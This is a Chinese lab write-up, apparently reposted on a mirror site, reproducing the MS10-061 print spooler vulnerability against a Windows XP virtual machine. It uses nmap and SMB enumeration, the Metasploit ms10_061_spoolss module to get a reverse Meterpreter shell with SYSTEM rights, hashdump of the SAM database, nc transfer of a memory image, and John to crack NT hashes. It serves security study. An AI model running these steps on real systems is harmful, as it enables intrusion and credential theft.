zoukankan      html  css  js  c++  java
  • ms10-061漏洞复现

    漏洞介绍

    Windows打印后台程序没有充分限制访问该服务的用户权限,攻击者可以通过提交特制的打印请求在windows系统目录(%SystemRoot%system32)中创建文件。

    攻击者可指定任意文件名,包括目录遍历,通过发送WritePrinter请求,攻击者可以完全控制创建文件的内容。

    将文件写入到windows系统目录后,通过WMI来部署恶意程序,因为系统会自动运行%SYstemRoot%System32WbemMOF文件夹的mof文件、执行命令。

    该漏洞首次被发现并应用于著名的Stuxnet蠕虫。

    实验环境

    攻击机:Kali Linux虚拟机

    靶机:Windows xp sp3虚拟机

    靶机环境配置

    1. 获取靶机IP

    ipconfig
    

    2. 创建共享打印

    打开控制面板,找到“打印机和传真”,双击打开后,右键选择“添加打印机”。有几个地方的配置可能需要修改一下:


    在这里插入图片描述

    后面还需要选择打印机厂商和型号,这个随便选择即可,名字也可以随意。不需要打印测试页。

    在这里插入图片描述

    完成后,右键新建的打印机,选择“共享”,点击下方的蓝字,不需要使用向导。

    攻击

    1. nmap扫描靶机

    nmap -sS -sU -O -p137-139,445 靶机IP
    

    根据结果可知,靶机存在NetBIOS和RPC服务(139,445)。

    2. 查找NetBIOS名称

    nmblookup -A 靶机IP
    

    NetBIOS工作站名字:ALLEYN-DBDD2110

    NetBIOS组名:WORKGROUP

    Master Browser: _MSBROWSE_

    第二列解释(NetBIOS后缀)可以参考百度百科:NetBIOS协议

    第四列为节点类型:

    节点类型 含义
    B 0x01 Broadcast
    P 0x02 Peer(WINS only)
    M 0x04 Mixed(broadcast,then WINS)
    H 0x08 Hybrid(WINS,then broadcast)

    3. 访问SMB资源

    smbclient -L \NetBIOS工作站名字 -I 靶机IP -N
    

    如果提示protocol negotiation failed: NT_STATUS_IO_TIMEOUT,就修改/etc/samba/smb.conf,在[global]下添加两行:

       client min protocol = CORE
       client max protocol = SMB3
    

    正常情况下的返回结果如图,可以查看到我们之前在靶机创建的MyPrinter。

    4. 使用MSF进行攻击

    启动msfconsole,载入模块,查看需要配置的参数。

    msfconsole
    use exploit/windows/smb/ms10_061_spoolss
    show options
    

    之后配置各项参数。

    设置payload参数并配置。

    开始攻击,如果攻击成功,会出现下面的提示。

    恶意程序被写入到靶机的%SystemRoot%system32cMityUuf3mMo72.exe,此程序运行后反弹一个shell给kali,从而建立了一个Meterpreter会话。该恶意程序是通过%SystemRoot%system32wbemmofWSsM5g8MoL5KHr.mof控制运行的。

    5. 验证操作

    可以看到我们已经获取了系统的system权限,``getpid也得到了当前Meterpreter会话的进程ID。执行shell`后可以直接进入靶机的命令行界面。

    # 查看该PID的相关进程,可以看到刚才写入的恶意程序
    tasklist /v /fi "PID eq "进程ID"
    # 查找该PID关联的网络链接
    netstat -nao | findstr "进程ID"
    

    信息收集取证

    1. 进行基本的信息收集取证

    # 进程信息收集
    tasklist > forensics_tasklist.txt
    # 网络信息收集
    netstat -ano > forensics_netstat.txt
    # 目录文件信息收集
    dir > dir_forensics.txt
    

    收集完成后,退出shell。

    2. 获取SAM数据库信息

    输入hashdump获取SAM数据库,将获取到的信息复制到一个文本文件。

    3. 建立远程取证收集环境

    nc -lvvvp 7777 > ms10_061.dd
    

    4. 收集受害者内存信息

    Helix下载地址:点击此处

    下载Helix 2008R1,下载完成后为一个iso文件,把它挂载在windows虚拟机上,然后在虚拟机中挂载并打开。

    进行如下配置后,点击“Acquire”,出现弹窗后点击“Yes”。“Destination IP”为攻击机IP。

    等待内存信息收集完成,完成后会自动关闭此cmd窗口。

    收集完成后,回到kali,对7777端口的监听也自动结束了,ls -lh查看收集到的文件,共1.6G。

    5. 收集其他取证文件

    下载之前收集的进程信息、网络信息和恶意程序。

    download C:\WINDOWS\system32\forensics_tasklist.txt 下载目录
    download C:\WINDOWS\system32\forensics_netstat.txt 下载目录
    download C:\WINDOWS\system32\dir_forensics.txt 下载目录
    download C:\WINDOWS\system32\恶意程序名称 下载目录
    

    下载完成后可以在对应的目录下看到收集到的文件。

    6. 使用John破解密码

    cp ./samhash.txt
    grep -i admin samhash.txt > adminhash.txt
    john --format=nt adminhash.txt
    

    正常情况下,会在(Administrator)前面显示管理员密码,由于我没有设置密码,所以这里为空。

    参考链接

  • 相关阅读:
    前端
    wampserver无法进入到phpmyadmin
    wordpress搭载wampserver上的问题
    电脑不显示网络信号,却能连上网
    读书TODO
    秒杀活动,怎么设计全套技术方案
    淘宝返利知识普及
    如何给变量命名
    一段SQL代码的压缩:从974行到96行,十倍压缩
    nginx一致性hash及应用场景。
  • 原文地址:https://www.cnblogs.com/Alleyn180400524/p/13628227.html
Copyright © 2011-2022 走看看